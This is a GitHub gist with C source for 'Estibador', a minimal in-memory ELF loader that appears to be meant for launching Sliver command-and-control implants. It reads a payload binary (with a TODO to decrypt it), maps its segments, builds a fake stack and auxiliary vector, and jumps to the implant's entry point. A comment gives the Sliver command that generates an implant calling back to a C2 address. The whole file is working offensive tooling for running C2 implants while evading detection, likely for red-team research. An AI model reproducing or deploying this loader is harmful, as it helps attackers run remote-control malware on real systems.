Created
November 12, 2023 09:58
-
-
Save X-C3LL/58270138e2a1e43682accc7ccde94206 to your computer and use it in GitHub Desktop.
Minimal loader for sliver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc estibador.c -o estibador -pie -fPIC | |
// [server] sliver > generate --http https://192.168.13.37/ --os linux --arch amd64 | |
//Refs: | |
// | |
// https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html | |
// binfmt_elf.c | |
// http://manugarg.appspot.com/aboutelfauxiliaryvectors.html | |
// | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <elf.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#define FILE_PATH "/home/vagrant/research/loaders/elf/BLUE_FAME" | |
#define ROUND_UP(N, S) ((((N) + (S) - 1) / (S)) * (S)) | |
#define ROUND_DOWN(N,S) ((N / S) * S) | |
struct startup { | |
uint64_t phdr_id; | |
uint64_t phdr_value; | |
uint64_t phent_id; | |
uint64_t phent_value; | |
uint64_t phnum_id; | |
uint64_t phnum_value; | |
uint64_t pagesz_id; | |
uint64_t pagesz_value; | |
}; | |
char *readFromFile(char *path){ | |
FILE *file; | |
long fileSize; | |
char* encbuffer; | |
file = fopen(path, "rb"); | |
fileSize = fseek(file, 0, SEEK_END); | |
fileSize = ftell(file); | |
fseek(file, 0, SEEK_SET); | |
encbuffer = malloc(fileSize); | |
fread(encbuffer, fileSize, 1, file); | |
return encbuffer; | |
} | |
int main(int argc, char** argv, char** envp){ | |
char *encbuffer; | |
Elf64_Ehdr *header; | |
Elf64_Phdr *pheader; | |
void *oep = NULL; | |
void *base_addr = -1; | |
void *stack; | |
printf("\t\t--=[Estibador v0.1 - Juan Manuel Fernandez - @TheXC3LL]=-\n\n"); | |
/** Get the ELF content **/ | |
//TODO decrypt | |
encbuffer = readFromFile(FILE_PATH); | |
/** Start parsing & loading**/ | |
printf("[---> Loading ELF <---]\n"); | |
header = (Elf64_Ehdr *)encbuffer; | |
pheader = (Elf64_Phdr *)(encbuffer + header->e_phoff); | |
oep = header->e_entry; // Get the Original Entry Point | |
printf("[*] OEP: %p\n", oep); | |
// Iterate entries | |
for (int i = 0; i < header->e_phnum; i++){ | |
if (pheader[i].p_type == PT_GNU_STACK){ | |
stack = mmap(0, 0x800000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); | |
printf("[*] Stack created at %p\n", stack); | |
} | |
// We only want PT_LOAD entries | |
if (pheader[i].p_type != PT_LOAD){ | |
continue; | |
} | |
// Map content | |
void *mbase = (void *)ROUND_DOWN(pheader[i].p_vaddr, 4096); | |
int msize = ROUND_UP(pheader[i].p_memsz + ((void *)pheader[i].p_vaddr - mbase), 4096); | |
int prot = 0; | |
if (pheader[i].p_flags & PF_R){ | |
prot = PROT_READ; | |
} | |
if (pheader[i].p_flags & PF_W){ | |
prot = PROT_WRITE; | |
} | |
if (pheader[i].p_flags & PF_X){ | |
prot = PROT_EXEC; | |
} | |
mmap(mbase, msize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); | |
memcpy((void *)pheader[i].p_vaddr, encbuffer + pheader[i].p_offset, pheader[i].p_filesz); | |
mprotect(mbase, msize, prot); | |
printf("[*] Mapped - %p\n", mbase); | |
if (base_addr > mbase){ | |
base_addr = mbase; | |
} | |
} | |
printf("[*] Base address: %p\n", base_addr); | |
// Fill stack | |
char *fake_argv[] = { | |
'\x01', | |
"Adepts of 0xCC", | |
NULL | |
}; | |
char *fake_env[] = { | |
"PWNED=YES", | |
NULL | |
}; | |
struct startup auxv; | |
auxv.phdr_id = 3; | |
auxv.phdr_value = (uint64_t)(base_addr + header->e_phoff); | |
auxv.phent_id = 4; | |
auxv.phent_value = sizeof(Elf64_Phdr); | |
auxv.phnum_id = 5; | |
auxv.phnum_value = header->e_phnum; | |
auxv.pagesz_id = 6; | |
auxv.pagesz_value = 4096; | |
printf("[*] Copying startup info (argv, env & auxv): %p\n", stack + 0x800000 - 0x1000); | |
memcpy(stack + 0x800000 - 0x1000, fake_argv, sizeof(fake_argv)); | |
memcpy(stack + 0x800000 - 0x1000 + sizeof(fake_argv), fake_env, sizeof(fake_env)); | |
memcpy(stack + 0x800000 - 0x1000 + sizeof(fake_argv) + sizeof(fake_env), &auxv, sizeof(auxv)); | |
// Jump to the OEP | |
printf("[*] Jumping to the entry point - Wish me luck!\n"); | |
register long rsp __asm__("rsp") = (long)(stack + 0x800000 - 0x1000); | |
__asm__ __volatile__( | |
"jmp *%0\n" | |
: | |
: "r" (oep) | |
: | |
); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment